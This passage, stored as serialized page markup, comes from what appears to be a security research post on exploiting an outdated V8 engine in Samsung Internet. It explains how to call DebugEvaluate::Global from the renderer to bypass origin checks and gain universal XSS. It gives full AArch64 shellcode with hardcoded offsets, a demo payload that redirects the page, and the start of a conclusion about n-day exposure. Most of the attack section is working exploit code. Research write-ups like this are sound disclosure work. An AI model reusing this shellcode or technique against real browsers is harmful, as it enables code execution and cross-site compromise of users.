ReadOnlyRoots",{"type":23,"tag":504,"props":139493,"children":139494},{"style":523},[139495],{"type":28,"value":139496},"(isolate).",{"type":23,"tag":504,"props":139498,"children":139499},{"style":517},[139500],{"type":28,"value":139501},"undefined_value",{"type":23,"tag":504,"props":139503,"children":139504},{"style":523},[139505],{"type":28,"value":2647},{"type":23,"tag":504,"props":139507,"children":139508},{"class":506,"line":785},[139509],{"type":23,"tag":504,"props":139510,"children":139511},{"style":523},[139512],{"type":28,"value":4855},{"type":23,"tag":24,"props":139514,"children":139515},{},[139516,139518,139523],{"type":28,"value":139517},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":56,"props":139519,"children":139521},{"className":139520},[],[139522],{"type":28,"value":14560},{"type":28,"value":139524}," block.",{"type":23,"tag":24,"props":139526,"children":139527},{},[139528],{"type":28,"value":139529},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":494,"props":139531,"children":139533},{"code":139532,"language":28093,"meta":7,"className":28091,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[139534],{"type":23,"tag":56,"props":139535,"children":139536},{"__ignoreMap":7},[139537,139548,139555,139562,139569,139577,139589,139597,139614,139644,139652,139664],{"type":23,"tag":504,"props":139538,"children":139539},{"class":506,"line":507},[139540,139544],{"type":23,"tag":504,"props":139541,"children":139542},{"style":517},[139543],{"type":28,"value":139395},{"type":23,"tag":504,"props":139545,"children":139546},{"style":523},[139547],{"type":28,"value":139400},{"type":23,"tag":504,"props":139549,"children":139550},{"class":506,"line":540},[139551],{"type":23,"tag":504,"props":139552,"children":139553},{"emptyLinePlaceholder":16},[139554],{"type":28,"value":1038},{"type":23,"tag":504,"props":139556,"children":139557},{"class":506,"line":555},[139558],{"type":23,"tag":504,"props":139559,"children":139560},{"style":523},[139561],{"type":28,"value":125904},{"type":23,"tag":504,"props":139563,"children":139564},{"class":506,"line":633},[139565],{"type":23,"tag":504,"props":139566,"children":139567},{"emptyLinePlaceholder":16},[139568],{"type":28,"value":1038},{"type":23,"tag":504,"props":139570,"children":139571},{"class":506,"line":687},[139572],{"type":23,"tag":504,"props":139573,"children":139574},{"style":523},[139575],{"type":28,"value":139576},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":504,"props":139578,"children":139579},{"class":506,"line":736},[139580,139585],{"type":23,"tag":504,"props":139581,"children":139582},{"style":517},[139583],{"type":28,"value":139584},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":504,"props":139586,"children":139587},{"style":523},[139588],{"type":28,"value":2439},{"type":23,"tag":504,"props":139590,"children":139591},{"class":506,"line":785},[139592],{"type":23,"tag":504,"props":139593,"children":139594},{"style":523},[139595],{"type":28,"value":139596},"      isolate, function,\n",{"type":23,"tag":504,"props":139598,"children":139599},{"class":506,"line":813},[139600,139605,139610],{"type":23,"tag":504,"props":139601,"children":139602},{"style":523},[139603],{"type":28,"value":139604},"      Compiler::",{"type":23,"tag":504,"props":139606,"children":139607},{"style":517},[139608],{"type":28,"value":139609},"GetFunctionFromValidatedString",{"type":23,"tag":504,"props":139611,"children":139612},{"style":523},[139613],{"type":28,"value":2439},{"type":23,"tag":504,"props":139615,"children":139616},{"class":506,"line":851},[139617,139622,139626,139630,139634,139639],{"type":23,"tag":504,"props":139618,"children":139619},{"style":517},[139620],{"type":28,"value":139621},"          direct_handle",{"type":23,"tag":504,"props":139623,"children":139624},{"style":523},[139625],{"type":28,"value":526},{"type":23,"tag":504,"props":139627,"children":139628},{"style":529},[139629],{"type":28,"value":113829},{"type":23,"tag":504,"props":139631,"children":139632},{"style":523},[139633],{"type":28,"value":12738},{"type":23,"tag":504,"props":139635,"children":139636},{"style":517},[139637],{"type":28,"value":139638},"native_context",{"type":23,"tag":504,"props":139640,"children":139641},{"style":523},[139642],{"type":28,"value":139643},"(), isolate), source,\n",{"type":23,"tag":504,"props":139645,"children":139646},{"class":506,"line":869},[139647],{"type":23,"tag":504,"props":139648,"children":139649},{"style":523},[139650],{"type":28,"value":139651},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":504,"props":139653,"children":139654},{"class":506,"line":878},[139655,139660],{"type":23,"tag":504,"props":139656,"children":139657},{"style":517},[139658],{"type":28,"value":139659},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":504,"props":139661,"children":139662},{"style":523},[139663],{"type":28,"value":2439},{"type":23,"tag":504,"props":139665,"children":139666},{"class":506,"line":1221},[139667,139672,139677],{"type":23,"tag":504,"props":139668,"children":139669},{"style":523},[139670],{"type":28,"value":139671},"      isolate, Execution::",{"type":23,"tag":504,"props":139673,"children":139674},{"style":517},[139675],{"type":28,"value":139676},"Call",{"type":23,"tag":504,"props":139678,"children":139679},{"style":523},[139680],{"type":28,"value":139681},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":139683,"children":139684},{},[139685,139687,139692,139694,139700,139702,139708,139710,139716],{"type":28,"value":139686},"But determining the correct ",{"type":23,"tag":56,"props":139688,"children":139690},{"className":139689},[],[139691],{"type":28,"value":113829},{"type":28,"value":139693}," value, obtaining ",{"type":23,"tag":56,"props":139695,"children":139697},{"className":139696},[],[139698],{"type":28,"value":139699},"target->native_context()",{"type":28,"value":139701},", and locating the ",{"type":23,"tag":56,"props":139703,"children":139705},{"className":139704},[],[139706],{"type":28,"value":139707},"direct_handle",{"type":28,"value":139709}," function, just to make a proper call to ",{"type":23,"tag":56,"props":139711,"children":139713},{"className":139712},[],[139714],{"type":28,"value":139715},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":139717},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":139719,"children":139720},{},[139721,139723,139729],{"type":28,"value":139722},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":56,"props":139724,"children":139726},{"className":139725},[],[139727],{"type":28,"value":139728},"DebugEvaluate::Global",{"type":28,"value":139730},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":139732,"children":139733},{},[139734],{"type":28,"value":139735},"For our needs, it is straightforward to call:",{"type":23,"tag":494,"props":139737,"children":139739},{"code":139738,"language":28093,"meta":7,"className":28091,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[139740],{"type":23,"tag":56,"props":139741,"children":139742},{"__ignoreMap":7},[139743,139791,139820,139841],{"type":23,"tag":504,"props":139744,"children":139745},{"class":506,"line":507},[139746,139751,139755,139759,139764,139769,139773,139778,139782,139787],{"type":23,"tag":504,"props":139747,"children":139748},{"style":1012},[139749],{"type":28,"value":139750},"MaybeDirectHandle",{"type":23,"tag":504,"props":139752,"children":139753},{"style":523},[139754],{"type":28,"value":4789},{"type":23,"tag":504,"props":139756,"children":139757},{"style":1012},[139758],{"type":28,"value":47830},{"type":23,"tag":504,"props":139760,"children":139761},{"style":523},[139762],{"type":28,"value":139763},"> DebugEvaluate::",{"type":23,"tag":504,"props":139765,"children":139766},{"style":517},[139767],{"type":28,"value":139768},"Global",{"type":23,"tag":504,"props":139770,"children":139771},{"style":523},[139772],{"type":28,"value":526},{"type":23,"tag":504,"props":139774,"children":139775},{"style":1012},[139776],{"type":28,"value":139777},"Isolate",{"type":23,"tag":504,"props":139779,"children":139780},{"style":511},[139781],{"type":28,"value":3552},{"type":23,"tag":504,"props":139783,"children":139784},{"style":529},[139785],{"type":28,"value":139786}," isolate",{"type":23,"tag":504,"props":139788,"children":139789},{"style":523},[139790],{"type":28,"value":2484},{"type":23,"tag":504,"props":139792,"children":139793},{"class":506,"line":540},[139794,139799,139803,139807,139811,139816],{"type":23,"tag":504,"props":139795,"children":139796},{"style":1012},[139797],{"type":28,"value":139798},"                                                Handle",{"type":23,"tag":504,"props":139800,"children":139801},{"style":523},[139802],{"type":28,"value":4789},{"type":23,"tag":504,"props":139804,"children":139805},{"style":1012},[139806],{"type":28,"value":46906},{"type":23,"tag":504,"props":139808,"children":139809},{"style":523},[139810],{"type":28,"value":4804},{"type":23,"tag":504,"props":139812,"children":139813},{"style":529},[139814],{"type":28,"value":139815},"source",{"type":23,"tag":504,"props":139817,"children":139818},{"style":523},[139819],{"type":28,"value":2484},{"type":23,"tag":504,"props":139821,"children":139822},{"class":506,"line":555},[139823,139828,139833,139837],{"type":23,"tag":504,"props":139824,"children":139825},{"style":523},[139826],{"type":28,"value":139827},"                                                debug::",{"type":23,"tag":504,"props":139829,"children":139830},{"style":1012},[139831],{"type":28,"value":139832},"EvaluateGlobalMode",{"type":23,"tag":504,"props":139834,"children":139835},{"style":529},[139836],{"type":28,"value":105025},{"type":23,"tag":504,"props":139838,"children":139839},{"style":523},[139840],{"type":28,"value":2484},{"type":23,"tag":504,"props":139842,"children":139843},{"class":506,"line":633},[139844,139849,139854],{"type":23,"tag":504,"props":139845,"children":139846},{"style":1012},[139847],{"type":28,"value":139848},"                                                REPLMode",{"type":23,"tag":504,"props":139850,"children":139851},{"style":529},[139852],{"type":28,"value":139853}," repl_mode",{"type":23,"tag":504,"props":139855,"children":139856},{"style":523},[139857],{"type":28,"value":630},{"type":23,"tag":24,"props":139859,"children":139860},{},[139861,139863,139868,139870,139875,139877,139882,139884,139890,139891,139897],{"type":28,"value":139862},"We must supply the ",{"type":23,"tag":56,"props":139864,"children":139866},{"className":139865},[],[139867],{"type":28,"value":139436},{"type":28,"value":139869}," pointer, a ",{"type":23,"tag":56,"props":139871,"children":139873},{"className":139872},[],[139874],{"type":28,"value":46906},{"type":28,"value":139876}," object containing our XSS payload as ",{"type":23,"tag":56,"props":139878,"children":139880},{"className":139879},[],[139881],{"type":28,"value":139815},{"type":28,"value":139883},", and the ",{"type":23,"tag":56,"props":139885,"children":139887},{"className":139886},[],[139888],{"type":28,"value":139889},"mode",{"type":28,"value":430},{"type":23,"tag":56,"props":139892,"children":139894},{"className":139893},[],[139895],{"type":28,"value":139896},"repl_mode",{"type":28,"value":139898}," values, which are simple enum literals.",{"type":23,"tag":24,"props":139900,"children":139901},{},[139902,139904,139909,139911,139917,139919,139924,139926,139931,139933,139939,139941,139947,139949,139954,139956,139961,139963,139968,139970,139975],{"type":28,"value":139903},"To obtain the ",{"type":23,"tag":56,"props":139905,"children":139907},{"className":139906},[],[139908],{"type":28,"value":139436},{"type":28,"value":139910}," pointer within our shellcode, we call ",{"type":23,"tag":56,"props":139912,"children":139914},{"className":139913},[],[139915],{"type":28,"value":139916},"Isolate::TryGetCurrent()",{"type":28,"value":139918},", which returns the current ",{"type":23,"tag":56,"props":139920,"children":139922},{"className":139921},[],[139923],{"type":28,"value":139436},{"type":28,"value":139925},". To construct a valid ",{"type":23,"tag":56,"props":139927,"children":139929},{"className":139928},[],[139930],{"type":28,"value":46906},{"type":28,"value":139932}," object holding our payload, we call ",{"type":23,"tag":56,"props":139934,"children":139936},{"className":139935},[],[139937],{"type":28,"value":139938},"v8::String::NewFromUTF8",{"type":28,"value":139940},". This ",{"type":23,"tag":56,"props":139942,"children":139944},{"className":139943},[],[139945],{"type":28,"value":139946},"NewFromUTF8",{"type":28,"value":139948}," function takes four arguments: the ",{"type":23,"tag":56,"props":139950,"children":139952},{"className":139951},[],[139953],{"type":28,"value":139436},{"type":28,"value":139955},", the string bytes as ",{"type":23,"tag":56,"props":139957,"children":139959},{"className":139958},[],[139960],{"type":28,"value":2679},{"type":28,"value":139962},", an enum literal specifying the string type, and ",{"type":23,"tag":56,"props":139964,"children":139966},{"className":139965},[],[139967],{"type":28,"value":7487},{"type":28,"value":139969},", which is the size of the ",{"type":23,"tag":56,"props":139971,"children":139973},{"className":139972},[],[139974],{"type":28,"value":2679},{"type":28,"value":16143},{"type":23,"tag":24,"props":139977,"children":139978},{},[139979],{"type":28,"value":139980},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":494,"props":139982,"children":139984},{"code":139983,"language":138272,"meta":7,"className":138273,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[139985],{"type":23,"tag":56,"props":139986,"children":139987},{"__ignoreMap":7},[139988,139996,140004,140012,140020,140028,140036,140044,140052,140060,140068,140076,140084,140091,140099,140107,140115,140123,140130,140138,140145,140153,140161,140168,140175,140182,140189,140196,140203,140211,140219,140226,140234,140242,140249,140257,140265,140272,140279,140287,140295,140303,140310,140318,140326,140334,140342,140350,140358,140366,140374,140382,140390,140398,140405,140413,140421,140428,140436,140444,140452,140460,140467,140475,140482,140489,140497,140505,140513,140521,140530,140539,140547],{"type":23,"tag":504,"props":139989,"children":139990},{"class":506,"line":507},[139991],{"type":23,"tag":504,"props":139992,"children":139993},{},[139994],{"type":28,"value":139995},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":504,"props":139997,"children":139998},{"class":506,"line":540},[139999],{"type":23,"tag":504,"props":140000,"children":140001},{},[140002],{"type":28,"value":140003},"movz x1, #0xf7a0\n",{"type":23,"tag":504,"props":140005,"children":140006},{"class":506,"line":555},[140007],{"type":23,"tag":504,"props":140008,"children":140009},{},[140010],{"type":28,"value":140011},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":504,"props":140013,"children":140014},{"class":506,"line":633},[140015],{"type":23,"tag":504,"props":140016,"children":140017},{},[140018],{"type":28,"value":140019},"add x9, x12, x1\n",{"type":23,"tag":504,"props":140021,"children":140022},{"class":506,"line":687},[140023],{"type":23,"tag":504,"props":140024,"children":140025},{},[140026],{"type":28,"value":140027},"movz x1, #0x5ac8\n",{"type":23,"tag":504,"props":140029,"children":140030},{"class":506,"line":736},[140031],{"type":23,"tag":504,"props":140032,"children":140033},{},[140034],{"type":28,"value":140035},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":504,"props":140037,"children":140038},{"class":506,"line":785},[140039],{"type":23,"tag":504,"props":140040,"children":140041},{},[140042],{"type":28,"value":140043},"add x0, x12, x1\n",{"type":23,"tag":504,"props":140045,"children":140046},{"class":506,"line":813},[140047],{"type":23,"tag":504,"props":140048,"children":140049},{},[140050],{"type":28,"value":140051},"blr x9\n",{"type":23,"tag":504,"props":140053,"children":140054},{"class":506,"line":851},[140055],{"type":23,"tag":504,"props":140056,"children":140057},{},[140058],{"type":28,"value":140059},"// *x0 is isolate pointer\n",{"type":23,"tag":504,"props":140061,"children":140062},{"class":506,"line":869},[140063],{"type":23,"tag":504,"props":140064,"children":140065},{},[140066],{"type":28,"value":140067},"// store isolate ptr to stack\n",{"type":23,"tag":504,"props":140069,"children":140070},{"class":506,"line":878},[140071],{"type":23,"tag":504,"props":140072,"children":140073},{},[140074],{"type":28,"value":140075},"ldr x13, [x0]\n",{"type":23,"tag":504,"props":140077,"children":140078},{"class":506,"line":1221},[140079],{"type":23,"tag":504,"props":140080,"children":140081},{},[140082],{"type":28,"value":140083},"str x13, [sp, #-16]!\n",{"type":23,"tag":504,"props":140085,"children":140086},{"class":506,"line":1276},[140087],{"type":23,"tag":504,"props":140088,"children":140089},{"emptyLinePlaceholder":16},[140090],{"type":28,"value":1038},{"type":23,"tag":504,"props":140092,"children":140093},{"class":506,"line":1285},[140094],{"type":23,"tag":504,"props":140095,"children":140096},{},[140097],{"type":28,"value":140098},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":504,"props":140100,"children":140101},{"class":506,"line":1294},[140102],{"type":23,"tag":504,"props":140103,"children":140104},{},[140105],{"type":28,"value":140106},"movz x1, #0x1140\n",{"type":23,"tag":504,"props":140108,"children":140109},{"class":506,"line":1302},[140110],{"type":23,"tag":504,"props":140111,"children":140112},{},[140113],{"type":28,"value":140114},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":504,"props":140116,"children":140117},{"class":506,"line":1311},[140118],{"type":23,"tag":504,"props":140119,"children":140120},{},[140121],{"type":28,"value":140122},"sub x10, x12, x1\n",{"type":23,"tag":504,"props":140124,"children":140125},{"class":506,"line":1334},[140126],{"type":23,"tag":504,"props":140127,"children":140128},{"emptyLinePlaceholder":16},[140129],{"type":28,"value":1038},{"type":23,"tag":504,"props":140131,"children":140132},{"class":506,"line":1370},[140133],{"type":23,"tag":504,"props":140134,"children":140135},{},[140136],{"type":28,"value":140137},"// mmap a RW page for our xss payload\n",{"type":23,"tag":504,"props":140139,"children":140140},{"class":506,"line":1384},[140141],{"type":23,"tag":504,"props":140142,"children":140143},{},[140144],{"type":28,"value":138488},{"type":23,"tag":504,"props":140146,"children":140147},{"class":506,"line":1392},[140148],{"type":23,"tag":504,"props":140149,"children":140150},{},[140151],{"type":28,"value":140152},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":504,"props":140154,"children":140155},{"class":506,"line":1400},[140156],{"type":23,"tag":504,"props":140157,"children":140158},{},[140159],{"type":28,"value":140160},"mov x2, #3\n",{"type":23,"tag":504,"props":140162,"children":140163},{"class":506,"line":1422},[140164],{"type":23,"tag":504,"props":140165,"children":140166},{},[140167],{"type":28,"value":138511},{"type":23,"tag":504,"props":140169,"children":140170},{"class":506,"line":1450},[140171],{"type":23,"tag":504,"props":140172,"children":140173},{},[140174],{"type":28,"value":138519},{"type":23,"tag":504,"props":140176,"children":140177},{"class":506,"line":1463},[140178],{"type":23,"tag":504,"props":140179,"children":140180},{},[140181],{"type":28,"value":138527},{"type":23,"tag":504,"props":140183,"children":140184},{"class":506,"line":1485},[140185],{"type":23,"tag":504,"props":140186,"children":140187},{},[140188],{"type":28,"value":138535},{"type":23,"tag":504,"props":140190,"children":140191},{"class":506,"line":1503},[140192],{"type":23,"tag":504,"props":140193,"children":140194},{},[140195],{"type":28,"value":138450},{"type":23,"tag":504,"props":140197,"children":140198},{"class":506,"line":1516},[140199],{"type":23,"tag":504,"props":140200,"children":140201},{"emptyLinePlaceholder":16},[140202],{"type":28,"value":1038},{"type":23,"tag":504,"props":140204,"children":140205},{"class":506,"line":1543},[140206],{"type":23,"tag":504,"props":140207,"children":140208},{},[140209],{"type":28,"value":140210},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":504,"props":140212,"children":140213},{"class":506,"line":1583},[140214],{"type":23,"tag":504,"props":140215,"children":140216},{},[140217],{"type":28,"value":140218},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":504,"props":140220,"children":140221},{"class":506,"line":1605},[140222],{"type":23,"tag":504,"props":140223,"children":140224},{"emptyLinePlaceholder":16},[140225],{"type":28,"value":1038},{"type":23,"tag":504,"props":140227,"children":140228},{"class":506,"line":1614},[140229],{"type":23,"tag":504,"props":140230,"children":140231},{},[140232],{"type":28,"value":140233},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":504,"props":140235,"children":140236},{"class":506,"line":1627},[140237],{"type":23,"tag":504,"props":140238,"children":140239},{},[140240],{"type":28,"value":140241},"mov x11, x0\n",{"type":23,"tag":504,"props":140243,"children":140244},{"class":506,"line":1655},[140245],{"type":23,"tag":504,"props":140246,"children":140247},{"emptyLinePlaceholder":16},[140248],{"type":28,"value":1038},{"type":23,"tag":504,"props":140250,"children":140251},{"class":506,"line":1668},[140252],{"type":23,"tag":504,"props":140253,"children":140254},{},[140255],{"type":28,"value":140256},"// pop back isolate pointer\n",{"type":23,"tag":504,"props":140258,"children":140259},{"class":506,"line":1682},[140260],{"type":23,"tag":504,"props":140261,"children":140262},{},[140263],{"type":28,"value":140264},"ldr x13, [sp], #16\n",{"type":23,"tag":504,"props":140266,"children":140267},{"class":506,"line":1691},[140268],{"type":23,"tag":504,"props":140269,"children":140270},{"emptyLinePlaceholder":16},[140271],{"type":28,"value":1038},{"type":23,"tag":504,"props":140273,"children":140274},{"class":506,"line":1699},[140275],{"type":23,"tag":504,"props":140276,"children":140277},{},[140278],{"type":28,"value":138571},{"type":23,"tag":504,"props":140280,"children":140281},{"class":506,"line":1708},[140282],{"type":23,"tag":504,"props":140283,"children":140284},{},[140285],{"type":28,"value":140286},"// x13 = isolate *\n",{"type":23,"tag":504,"props":140288,"children":140289},{"class":506,"line":1717},[140290],{"type":23,"tag":504,"props":140291,"children":140292},{},[140293],{"type":28,"value":140294},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":504,"props":140296,"children":140297},{"class":506,"line":1725},[140298],{"type":23,"tag":504,"props":140299,"children":140300},{},[140301],{"type":28,"value":140302},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":504,"props":140304,"children":140305},{"class":506,"line":1757},[140306],{"type":23,"tag":504,"props":140307,"children":140308},{"emptyLinePlaceholder":16},[140309],{"type":28,"value":1038},{"type":23,"tag":504,"props":140311,"children":140312},{"class":506,"line":1765},[140313],{"type":23,"tag":504,"props":140314,"children":140315},{},[140316],{"type":28,"value":140317},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":504,"props":140319,"children":140320},{"class":506,"line":22762},[140321],{"type":23,"tag":504,"props":140322,"children":140323},{},[140324],{"type":28,"value":140325},"// arg0 = isolate *\n",{"type":23,"tag":504,"props":140327,"children":140328},{"class":506,"line":22799},[140329],{"type":23,"tag":504,"props":140330,"children":140331},{},[140332],{"type":28,"value":140333},"mov x0, x13\n",{"type":23,"tag":504,"props":140335,"children":140336},{"class":506,"line":22812},[140337],{"type":23,"tag":504,"props":140338,"children":140339},{},[140340],{"type":28,"value":140341},"// arg1 = char *c_str\n",{"type":23,"tag":504,"props":140343,"children":140344},{"class":506,"line":22825},[140345],{"type":23,"tag":504,"props":140346,"children":140347},{},[140348],{"type":28,"value":140349},"mov x1, x11\n",{"type":23,"tag":504,"props":140351,"children":140352},{"class":506,"line":22838},[140353],{"type":23,"tag":504,"props":140354,"children":140355},{},[140356],{"type":28,"value":140357},"// arg2 = type = kNormal\n",{"type":23,"tag":504,"props":140359,"children":140360},{"class":506,"line":22892},[140361],{"type":23,"tag":504,"props":140362,"children":140363},{},[140364],{"type":28,"value":140365},"mov x2, #0\n",{"type":23,"tag":504,"props":140367,"children":140368},{"class":506,"line":22901},[140369],{"type":23,"tag":504,"props":140370,"children":140371},{},[140372],{"type":28,"value":140373},"// arg4 = length\n",{"type":23,"tag":504,"props":140375,"children":140376},{"class":506,"line":31258},[140377],{"type":23,"tag":504,"props":140378,"children":140379},{},[140380],{"type":28,"value":140381},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":504,"props":140383,"children":140384},{"class":506,"line":31279},[140385],{"type":23,"tag":504,"props":140386,"children":140387},{},[140388],{"type":28,"value":140389},"// call NewFromUTF8\n",{"type":23,"tag":504,"props":140391,"children":140392},{"class":506,"line":79702},[140393],{"type":23,"tag":504,"props":140394,"children":140395},{},[140396],{"type":28,"value":140397},"blr x10\n",{"type":23,"tag":504,"props":140399,"children":140400},{"class":506,"line":79715},[140401],{"type":23,"tag":504,"props":140402,"children":140403},{"emptyLinePlaceholder":16},[140404],{"type":28,"value":1038},{"type":23,"tag":504,"props":140406,"children":140407},{"class":506,"line":79723},[140408],{"type":23,"tag":504,"props":140409,"children":140410},{},[140411],{"type":28,"value":140412},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":504,"props":140414,"children":140415},{"class":506,"line":79731},[140416],{"type":23,"tag":504,"props":140417,"children":140418},{},[140419],{"type":28,"value":140420},"mov x14, x0\n",{"type":23,"tag":504,"props":140422,"children":140423},{"class":506,"line":79739},[140424],{"type":23,"tag":504,"props":140425,"children":140426},{"emptyLinePlaceholder":16},[140427],{"type":28,"value":1038},{"type":23,"tag":504,"props":140429,"children":140430},{"class":506,"line":79779},[140431],{"type":23,"tag":504,"props":140432,"children":140433},{},[140434],{"type":28,"value":140435},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":504,"props":140437,"children":140438},{"class":506,"line":79787},[140439],{"type":23,"tag":504,"props":140440,"children":140441},{},[140442],{"type":28,"value":140443},"movz x1, #0xe44c\n",{"type":23,"tag":504,"props":140445,"children":140446},{"class":506,"line":86974},[140447],{"type":23,"tag":504,"props":140448,"children":140449},{},[140450],{"type":28,"value":140451},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":504,"props":140453,"children":140454},{"class":506,"line":86982},[140455],{"type":23,"tag":504,"props":140456,"children":140457},{},[140458],{"type":28,"value":140459},"sub x9, x12, x1\n",{"type":23,"tag":504,"props":140461,"children":140462},{"class":506,"line":100328},[140463],{"type":23,"tag":504,"props":140464,"children":140465},{"emptyLinePlaceholder":16},[140466],{"type":28,"value":1038},{"type":23,"tag":504,"props":140468,"children":140469},{"class":506,"line":100336},[140470],{"type":23,"tag":504,"props":140471,"children":140472},{},[140473],{"type":28,"value":140474},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":504,"props":140476,"children":140477},{"class":506,"line":100344},[140478],{"type":23,"tag":504,"props":140479,"children":140480},{},[140481],{"type":28,"value":140325},{"type":23,"tag":504,"props":140483,"children":140484},{"class":506,"line":100352},[140485],{"type":23,"tag":504,"props":140486,"children":140487},{},[140488],{"type":28,"value":140333},{"type":23,"tag":504,"props":140490,"children":140491},{"class":506,"line":100380},[140492],{"type":23,"tag":504,"props":140493,"children":140494},{},[140495],{"type":28,"value":140496},"// arg1 = String *source\n",{"type":23,"tag":504,"props":140498,"children":140499},{"class":506,"line":103151},[140500],{"type":23,"tag":504,"props":140501,"children":140502},{},[140503],{"type":28,"value":140504},"mov x1, x14\n",{"type":23,"tag":504,"props":140506,"children":140507},{"class":506,"line":103159},[140508],{"type":23,"tag":504,"props":140509,"children":140510},{},[140511],{"type":28,"value":140512},"// arg2 = mode = kDefault\n",{"type":23,"tag":504,"props":140514,"children":140516},{"class":506,"line":140515},69,[140517],{"type":23,"tag":504,"props":140518,"children":140519},{},[140520],{"type":28,"value":140365},{"type":23,"tag":504,"props":140522,"children":140524},{"class":506,"line":140523},70,[140525],{"type":23,"tag":504,"props":140526,"children":140527},{},[140528],{"type":28,"value":140529},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":504,"props":140531,"children":140533},{"class":506,"line":140532},71,[140534],{"type":23,"tag":504,"props":140535,"children":140536},{},[140537],{"type":28,"value":140538},"mov x3, #0\n",{"type":23,"tag":504,"props":140540,"children":140542},{"class":506,"line":140541},72,[140543],{"type":23,"tag":504,"props":140544,"children":140545},{"emptyLinePlaceholder":16},[140546],{"type":28,"value":1038},{"type":23,"tag":504,"props":140548,"children":140550},{"class":506,"line":140549},73,[140551],{"type":23,"tag":504,"props":140552,"children":140553},{},[140554],{"type":28,"value":140051},{"type":23,"tag":82,"props":140556,"children":140558},{"id":140557},"uxss-demo",[140559],{"type":28,"value":140560},"UXSS Demo",{"type":23,"tag":24,"props":140562,"children":140563},{},[140564,140566,140572],{"type":28,"value":140565},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":56,"props":140567,"children":140569},{"className":140568},[],[140570],{"type":28,"value":140571},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":320},{"type":23,"tag":130609,"props":140574,"children":140577},{"className":140575,"controls":16},[140576],"blog-video-responsive",[140578,140580,140584],{"type":28,"value":140579},"\n  ",{"type":23,"tag":139815,"props":140581,"children":140583},{"src":140582,"type":130607},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":140585},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":70,"props":140587,"children":140588},{"id":1800},[140589],{"type":28,"value":1803},{"type":23,"tag":24,"props":140591,"children":140592},{},[140593],{"type":28,"value":140594},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day 